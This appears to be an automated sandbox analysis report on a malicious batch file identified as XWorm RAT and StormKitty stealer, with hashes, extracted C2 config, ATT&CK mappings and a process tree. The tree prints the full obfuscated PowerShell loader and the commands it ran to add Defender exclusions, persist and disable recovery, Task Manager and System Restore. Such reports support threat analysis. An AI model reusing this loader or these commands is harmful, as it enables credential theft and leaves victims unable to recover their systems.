stormkitty | da95cdaddcd020f216d54f93ebb9f0c8246b9dc1d02d9df60d898bc6c58e8ecf

Analysis

max time kernel
299s
max time network
308s
platform
windows10-1703_x64
resource
win10-20240611-en
resource tags

arch:x64arch:x86image:win10-20240611-enlocale:en-usos:windows10-1703-x64system
submitted
25-08-2024 06:57

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General

Target

Uni.bat
Size

359KB
MD5

358406bc7ed5155f85a5ff1c578ee295
SHA1

4e333529ae320ad77ebcc36fd9baa55796dc001d
SHA256

da95cdaddcd020f216d54f93ebb9f0c8246b9dc1d02d9df60d898bc6c58e8ecf
SHA512

0017064f87d9b5458e17c7e7348aa1ad0a3b1713ae44c202ab71e271b6a8a76bed7a3142cebe0b4a10c08220fbfae4f109a784151ca85130d48dbcb4dee65f45
SSDEEP

6144:ZbaZI71pQSxrJ9chRObtodtQlcxWHovdigPbYDDV:Zbac1ySxr/3bU3FzUh

Score

10^/10

stormkitty xworm credential_access discovery evasion execution persistence ransomware rat stealer trojan

Malware Config

Extracted

Family

xworm

Version

5.0

las-protected.gl.at.ply.gg:59571

Mutex

bDBtf4nPCk2LZaWE

Attributes

Install_directory
%Userprofile%
install_file
Uni.exe

aes.plain

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral1/memory/4316-120-0x0000019C77920000-0x0000019C77930000-memory.dmp	family_xworm

StormKitty
StormKitty is an open source info stealer written in C#.
stealer stormkitty

StormKitty payload 1 IoCs

resource	yara_rule
behavioral1/memory/4316-425-0x0000019C78180000-0x0000019C782A0000-memory.dmp	family_stormkitty

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003

Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
2004	bcdedit.exe
4812	bcdedit.exe

Blocklisted process makes network request 4 IoCs

flow	pid	Process
3	4316	powershell.exe
6	4316	powershell.exe
22	4316	powershell.exe
23	4316	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 7 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
4876	powershell.exe
2940	powershell.exe
4668	powershell.exe
4448	powershell.exe
1388	powershell.exe
4316	powershell.exe
3572	powershell.exe

Disables RegEdit via registry modification 1 IoCs

evasion

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-1453213197-474736321-1741884505-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	reg.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Uni.lnk	powershell.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Uni.lnk	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
3504	Uni.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1453213197-474736321-1741884505-1000\Software\Microsoft\Windows\CurrentVersion\Run\Uni = "C:\\Users\\Admin\\Uni.exe"	powershell.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
2	ip-api.com

Drops file in System32 directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\Recovery	ReAgentc.exe
File opened for modification	C:\Windows\system32\Recovery\ReAgent.xml	ReAgentc.exe

Drops file in Windows directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Panther\UnattendGC\setuperr.log	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagerr.xml	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagwrn.xml	ReAgentc.exe
File created	C:\Windows\FONTS\eudcadm.tte	eudcedit.exe
File opened for modification	C:\Windows\Logs\ReAgent\ReAgent.log	ReAgentc.exe

Launches sc.exe 2 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2248	sc.exe
2204	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1453213197-474736321-1741884505-1000_Classes\Local Settings	powershell.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4364	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3572	powershell.exe
3572	powershell.exe
3572	powershell.exe
1388	powershell.exe
1388	powershell.exe
1388	powershell.exe
4316	powershell.exe
4316	powershell.exe
4316	powershell.exe
4876	powershell.exe
4876	powershell.exe
4876	powershell.exe
2940	powershell.exe
2940	powershell.exe
2940	powershell.exe
4668	powershell.exe
4668	powershell.exe
4668	powershell.exe
4448	powershell.exe
4448	powershell.exe
4448	powershell.exe
4316	powershell.exe
4316	powershell.exe
4316	powershell.exe
4316	powershell.exe
4316	powershell.exe
4316	powershell.exe
4316	powershell.exe
4316	powershell.exe
4316	powershell.exe
4316	powershell.exe
4316	powershell.exe
4316	powershell.exe
4316	powershell.exe
4316	powershell.exe
4316	powershell.exe
4316	powershell.exe
4316	powershell.exe
4316	powershell.exe
4316	powershell.exe
4316	powershell.exe
4316	powershell.exe
4316	powershell.exe
4316	powershell.exe
4316	powershell.exe
4316	powershell.exe
4316	powershell.exe
4316	powershell.exe
4316	powershell.exe
4316	powershell.exe
4316	powershell.exe
4316	powershell.exe
4316	powershell.exe
4316	powershell.exe
4316	powershell.exe
4316	powershell.exe
4316	powershell.exe
4316	powershell.exe
4316	powershell.exe
4316	powershell.exe
4316	powershell.exe
4316	powershell.exe
4316	powershell.exe
4316	powershell.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
4316	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3572	powershell.exe
Token: SeDebugPrivilege	1388	powershell.exe
Token: SeIncreaseQuotaPrivilege	1388	powershell.exe
Token: SeSecurityPrivilege	1388	powershell.exe
Token: SeTakeOwnershipPrivilege	1388	powershell.exe
Token: SeLoadDriverPrivilege	1388	powershell.exe
Token: SeSystemProfilePrivilege	1388	powershell.exe
Token: SeSystemtimePrivilege	1388	powershell.exe
Token: SeProfSingleProcessPrivilege	1388	powershell.exe
Token: SeIncBasePriorityPrivilege	1388	powershell.exe
Token: SeCreatePagefilePrivilege	1388	powershell.exe
Token: SeBackupPrivilege	1388	powershell.exe
Token: SeRestorePrivilege	1388	powershell.exe
Token: SeShutdownPrivilege	1388	powershell.exe
Token: SeDebugPrivilege	1388	powershell.exe
Token: SeSystemEnvironmentPrivilege	1388	powershell.exe
Token: SeRemoteShutdownPrivilege	1388	powershell.exe
Token: SeUndockPrivilege	1388	powershell.exe
Token: SeManageVolumePrivilege	1388	powershell.exe
Token: 33	1388	powershell.exe
Token: 34	1388	powershell.exe
Token: 35	1388	powershell.exe
Token: 36	1388	powershell.exe
Token: SeIncreaseQuotaPrivilege	1388	powershell.exe
Token: SeSecurityPrivilege	1388	powershell.exe
Token: SeTakeOwnershipPrivilege	1388	powershell.exe
Token: SeLoadDriverPrivilege	1388	powershell.exe
Token: SeSystemProfilePrivilege	1388	powershell.exe
Token: SeSystemtimePrivilege	1388	powershell.exe
Token: SeProfSingleProcessPrivilege	1388	powershell.exe
Token: SeIncBasePriorityPrivilege	1388	powershell.exe
Token: SeCreatePagefilePrivilege	1388	powershell.exe
Token: SeBackupPrivilege	1388	powershell.exe
Token: SeRestorePrivilege	1388	powershell.exe
Token: SeShutdownPrivilege	1388	powershell.exe
Token: SeDebugPrivilege	1388	powershell.exe
Token: SeSystemEnvironmentPrivilege	1388	powershell.exe
Token: SeRemoteShutdownPrivilege	1388	powershell.exe
Token: SeUndockPrivilege	1388	powershell.exe
Token: SeManageVolumePrivilege	1388	powershell.exe
Token: 33	1388	powershell.exe
Token: 34	1388	powershell.exe
Token: 35	1388	powershell.exe
Token: 36	1388	powershell.exe
Token: SeIncreaseQuotaPrivilege	1388	powershell.exe
Token: SeSecurityPrivilege	1388	powershell.exe
Token: SeTakeOwnershipPrivilege	1388	powershell.exe
Token: SeLoadDriverPrivilege	1388	powershell.exe
Token: SeSystemProfilePrivilege	1388	powershell.exe
Token: SeSystemtimePrivilege	1388	powershell.exe
Token: SeProfSingleProcessPrivilege	1388	powershell.exe
Token: SeIncBasePriorityPrivilege	1388	powershell.exe
Token: SeCreatePagefilePrivilege	1388	powershell.exe
Token: SeBackupPrivilege	1388	powershell.exe
Token: SeRestorePrivilege	1388	powershell.exe
Token: SeShutdownPrivilege	1388	powershell.exe
Token: SeDebugPrivilege	1388	powershell.exe
Token: SeSystemEnvironmentPrivilege	1388	powershell.exe
Token: SeRemoteShutdownPrivilege	1388	powershell.exe
Token: SeUndockPrivilege	1388	powershell.exe
Token: SeManageVolumePrivilege	1388	powershell.exe
Token: 33	1388	powershell.exe
Token: 34	1388	powershell.exe
Token: 35	1388	powershell.exe

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
4316	powershell.exe
2604	eudcedit.exe
2604	eudcedit.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2180 wrote to memory of 3876	2180	cmd.exe	72
PID 2180 wrote to memory of 3876	2180	cmd.exe	72
PID 3876 wrote to memory of 4380	3876	net.exe	73
PID 3876 wrote to memory of 4380	3876	net.exe	73
PID 2180 wrote to memory of 3572	2180	cmd.exe	74
PID 2180 wrote to memory of 3572	2180	cmd.exe	74
PID 3572 wrote to memory of 1388	3572	powershell.exe	76
PID 3572 wrote to memory of 1388	3572	powershell.exe	76
PID 3572 wrote to memory of 4296	3572	powershell.exe	78
PID 3572 wrote to memory of 4296	3572	powershell.exe	78
PID 4296 wrote to memory of 4932	4296	WScript.exe	79
PID 4296 wrote to memory of 4932	4296	WScript.exe	79
PID 4932 wrote to memory of 3144	4932	cmd.exe	81
PID 4932 wrote to memory of 3144	4932	cmd.exe	81
PID 3144 wrote to memory of 3732	3144	net.exe	82
PID 3144 wrote to memory of 3732	3144	net.exe	82
PID 4932 wrote to memory of 4316	4932	cmd.exe	83
PID 4932 wrote to memory of 4316	4932	cmd.exe	83
PID 4316 wrote to memory of 4876	4316	powershell.exe	84
PID 4316 wrote to memory of 4876	4316	powershell.exe	84
PID 4316 wrote to memory of 2940	4316	powershell.exe	87
PID 4316 wrote to memory of 2940	4316	powershell.exe	87
PID 4316 wrote to memory of 4668	4316	powershell.exe	89
PID 4316 wrote to memory of 4668	4316	powershell.exe	89
PID 4316 wrote to memory of 4448	4316	powershell.exe	91
PID 4316 wrote to memory of 4448	4316	powershell.exe	91
PID 4316 wrote to memory of 4364	4316	powershell.exe	93
PID 4316 wrote to memory of 4364	4316	powershell.exe	93
PID 4316 wrote to memory of 4180	4316	powershell.exe	95
PID 4316 wrote to memory of 4180	4316	powershell.exe	95
PID 4180 wrote to memory of 4912	4180	cmd.exe	97
PID 4180 wrote to memory of 4912	4180	cmd.exe	97
PID 4180 wrote to memory of 1176	4180	cmd.exe	98
PID 4180 wrote to memory of 1176	4180	cmd.exe	98
PID 4180 wrote to memory of 4424	4180	cmd.exe	99
PID 4180 wrote to memory of 4424	4180	cmd.exe	99
PID 4180 wrote to memory of 3968	4180	cmd.exe	100
PID 4180 wrote to memory of 3968	4180	cmd.exe	100
PID 4180 wrote to memory of 2012	4180	cmd.exe	101
PID 4180 wrote to memory of 2012	4180	cmd.exe	101
PID 4180 wrote to memory of 2004	4180	cmd.exe	102
PID 4180 wrote to memory of 2004	4180	cmd.exe	102
PID 4180 wrote to memory of 4732	4180	cmd.exe	103
PID 4180 wrote to memory of 4732	4180	cmd.exe	103
PID 4180 wrote to memory of 2804	4180	cmd.exe	104
PID 4180 wrote to memory of 2804	4180	cmd.exe	104
PID 4180 wrote to memory of 4440	4180	cmd.exe	105
PID 4180 wrote to memory of 4440	4180	cmd.exe	105
PID 4180 wrote to memory of 2964	4180	cmd.exe	106
PID 4180 wrote to memory of 2964	4180	cmd.exe	106
PID 4180 wrote to memory of 3176	4180	cmd.exe	107
PID 4180 wrote to memory of 3176	4180	cmd.exe	107
PID 4180 wrote to memory of 3788	4180	cmd.exe	108
PID 4180 wrote to memory of 3788	4180	cmd.exe	108
PID 4180 wrote to memory of 2612	4180	cmd.exe	109
PID 4180 wrote to memory of 2612	4180	cmd.exe	109
PID 4180 wrote to memory of 2044	4180	cmd.exe	110
PID 4180 wrote to memory of 2044	4180	cmd.exe	110
PID 4180 wrote to memory of 2684	4180	cmd.exe	111
PID 4180 wrote to memory of 2684	4180	cmd.exe	111
PID 4180 wrote to memory of 4076	4180	cmd.exe	112
PID 4180 wrote to memory of 4076	4180	cmd.exe	112
PID 4180 wrote to memory of 4284	4180	cmd.exe	113
PID 4180 wrote to memory of 4284	4180	cmd.exe	113

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Uni.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2180
- C:\Windows\system32\net.exe
  net file
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3876
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 file
    3⤵
    PID:4380
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FCWcthcvES5kWtKK+zyMWPaI12cI41cfQ1vED+zLcNQ='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Wi091llD0HYkl0mjuqK1Mw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $dIHUu=New-Object System.IO.MemoryStream(,$param_var); $WlPMS=New-Object System.IO.MemoryStream; $ppSDL=New-Object System.IO.Compression.GZipStream($dIHUu, [IO.Compression.CompressionMode]::Decompress); $ppSDL.CopyTo($WlPMS); $ppSDL.Dispose(); $dIHUu.Dispose(); $WlPMS.Dispose(); $WlPMS.ToArray();}function execute_function($param_var,$param2_var){ $AbXeo=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $MiFGd=$AbXeo.EntryPoint; $MiFGd.Invoke($null, $param2_var);}$AMhPZ = 'C:\Users\Admin\AppData\Local\Temp\Uni.bat';$host.UI.RawUI.WindowTitle = $AMhPZ;$pvMmn=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($AMhPZ).Split([Environment]::NewLine);foreach ($CTBGC in $pvMmn) { if ($CTBGC.StartsWith(':: ')) { $lWiIS=$CTBGC.Substring(3); break; }}$payloads_var=[string[]]$lWiIS.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3572
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_153_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_153.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1388
- - C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_153.vbs"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4296
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_153.bat" "
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4932
    - - C:\Windows\system32\net.exe
        
        net file
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3144
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 file
        6⤵
        
        PID:3732
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FCWcthcvES5kWtKK+zyMWPaI12cI41cfQ1vED+zLcNQ='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Wi091llD0HYkl0mjuqK1Mw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $dIHUu=New-Object System.IO.MemoryStream(,$param_var); $WlPMS=New-Object System.IO.MemoryStream; $ppSDL=New-Object System.IO.Compression.GZipStream($dIHUu, [IO.Compression.CompressionMode]::Decompress); $ppSDL.CopyTo($WlPMS); $ppSDL.Dispose(); $dIHUu.Dispose(); $WlPMS.Dispose(); $WlPMS.ToArray();}function execute_function($param_var,$param2_var){ $AbXeo=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $MiFGd=$AbXeo.EntryPoint; $MiFGd.Invoke($null, $param2_var);}$AMhPZ = 'C:\Users\Admin\AppData\Roaming\startup_str_153.bat';$host.UI.RawUI.WindowTitle = $AMhPZ;$pvMmn=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($AMhPZ).Split([Environment]::NewLine);foreach ($CTBGC in $pvMmn) { if ($CTBGC.StartsWith(':: ')) { $lWiIS=$CTBGC.Substring(3); break; }}$payloads_var=[string[]]$lWiIS.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        5⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Drops startup file
        Adds Run key to start application
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: GetForegroundWindowSpam
        Suspicious use of SetWindowsHookEx
        Suspicious use of WriteProcessMemory
        
        PID:4316
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:4876
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'powershell.exe'
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:2940
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\Uni.exe'
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:4668
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Uni.exe'
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:4448
      - C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "Uni" /tr "C:\Users\Admin\Uni.exe"
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:4364
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lpociz.bat" "
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:4180
        
        C:\Windows\system32\ReAgentc.exe
        
        reagentc /disable
        7⤵
        Drops file in System32 directory
        Drops file in Windows directory
        
        PID:4912
        
        C:\Windows\system32\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableResetPC" /t REG_DWORD /d 1 /f
        7⤵
        
        PID:1176
        
        C:\Windows\system32\reg.exe
        
        REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableResetPC" /t REG_DWORD /d 1 /f
        7⤵
        
        PID:4424
        
        C:\Windows\system32\reg.exe
        
        REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\MiniNT" /v "NoWinRE" /t REG_DWORD /d 1 /f
        7⤵
        
        PID:3968
        
        C:\Windows\system32\reg.exe
        
        REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoWindowsSetupOptions" /t REG_DWORD /d 1 /f
        7⤵
        
        PID:2012
        
        C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} bootstatuspolicy ignoreallfailures
        7⤵
        Modifies boot configuration data using bcdedit
        
        PID:2004
        
        C:\Windows\system32\reg.exe
        
        REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoControlPanel" /t REG_DWORD /d 1 /f
        7⤵
        
        PID:4732
        
        C:\Windows\system32\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "AutoRestartShell" /t REG_DWORD /d 0 /f
        7⤵
        
        PID:2804
        
        C:\Windows\system32\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
        7⤵
        
        PID:4440
        
        C:\Windows\system32\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
        7⤵
        
        PID:2964
        
        C:\Windows\system32\reg.exe
        
        REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
        7⤵
        
        PID:3176
        
        C:\Windows\system32\reg.exe
        
        REG ADD "HKCU\Software\Policies\Microsoft\Windows\System" /v "DisableCMD" /t REG_DWORD /d 2 /f
        7⤵
        
        PID:3788
        
        C:\Windows\system32\reg.exe
        
        REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableRegistryTools" /t REG_DWORD /d 1 /f
        7⤵
        Disables RegEdit via registry modification
        
        PID:2612
        
        C:\Windows\system32\reg.exe
        
        REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Remote Assistance" /v "fAllowToGetHelp" /t REG_DWORD /d 0 /f
        7⤵
        
        PID:2044
        
        C:\Windows\system32\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Microsoft\Windows\Windows Error Reporting" /v "Disabled" /t REG_DWORD /d 1 /f
        7⤵
        
        PID:2684
        
        C:\Windows\system32\reg.exe
        
        REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "DisallowCPL" /t REG_DWORD /d 1 /f
        7⤵
        
        PID:4076
        
        C:\Windows\system32\reg.exe
        
        REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoThemesTab" /t REG_DWORD /d 1 /f
        7⤵
        
        PID:4284
        
        C:\Windows\system32\reg.exe
        
        REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoDispSettings" /t REG_DWORD /d 1 /f
        7⤵
        
        PID:4496
        
        C:\Windows\system32\reg.exe
        
        REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoWindowsUpdate" /t REG_DWORD /d 1 /f
        7⤵
        
        PID:2096
        
        C:\Windows\system32\reg.exe
        
        REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoWindowsUpdate" /t REG_DWORD /d 1 /f
        7⤵
        
        PID:2380
        
        C:\Windows\system32\reg.exe
        
        REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\MiniNT" /v "NoWinRE" /t REG_DWORD /d 1 /f
        7⤵
        
        PID:2796
        
        C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} recoveryenabled No
        7⤵
        Modifies boot configuration data using bcdedit
        
        PID:4812
        
        C:\Windows\system32\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "Hidden" /t REG_DWORD /d 2 /f
        7⤵
        
        PID:96
        
        C:\Windows\system32\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\WinRE" /v "DisableStatusMessages" /t REG_DWORD /d 1 /f
        7⤵
        
        PID:1508
        
        C:\Windows\system32\reg.exe
        
        REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\BootExecute" /v "AutoChk" /t REG_MULTI_SZ /d "" /f
        7⤵
        
        PID:4856
        
        C:\Windows\system32\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
        7⤵
        
        PID:2624
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /Change /TN "\Microsoft\Windows\WinRE\WinREBootIndex" /Disable
        7⤵
        
        PID:4756
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /Change /TN "\Microsoft\Windows\WinRE\WinRECleanup" /Disable
        7⤵
        
        PID:2404
        
        C:\Windows\system32\reg.exe
        
        REG ADD "HKLM\SYSTEM\CurrentControlSet\Services\sr" /v "Start" /t REG_DWORD /d 4 /f
        7⤵
        
        PID:832
        
        C:\Windows\system32\reg.exe
        
        REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\CrashControl" /v "AutoReboot" /t REG_DWORD /d 0 /f
        7⤵
        
        PID:1828
        
        C:\Windows\system32\sc.exe
        
        sc config wercplsupport start=disabled
        7⤵
        Launches sc.exe
        
        PID:2248
        
        C:\Windows\system32\sc.exe
        
        sc config WerSvc start=disabled
        7⤵
        Launches sc.exe
        
        PID:2204

C:\Windows\system32\taskmgr.exe
"C:\Windows\system32\taskmgr.exe" /7
1⤵
PID:4328

C:\Users\Admin\Uni.exe
C:\Users\Admin\Uni.exe
1⤵
- Executes dropped EXE
PID:3504

C:\Windows\system32\eudcedit.exe
"C:\Windows\system32\eudcedit.exe"
1⤵
- Drops file in Windows directory
- Suspicious use of SetWindowsHookEx
PID:2604

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe"
1⤵
PID:4356

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
ad5cd538ca58cb28ede39c108acb5785

SHA1
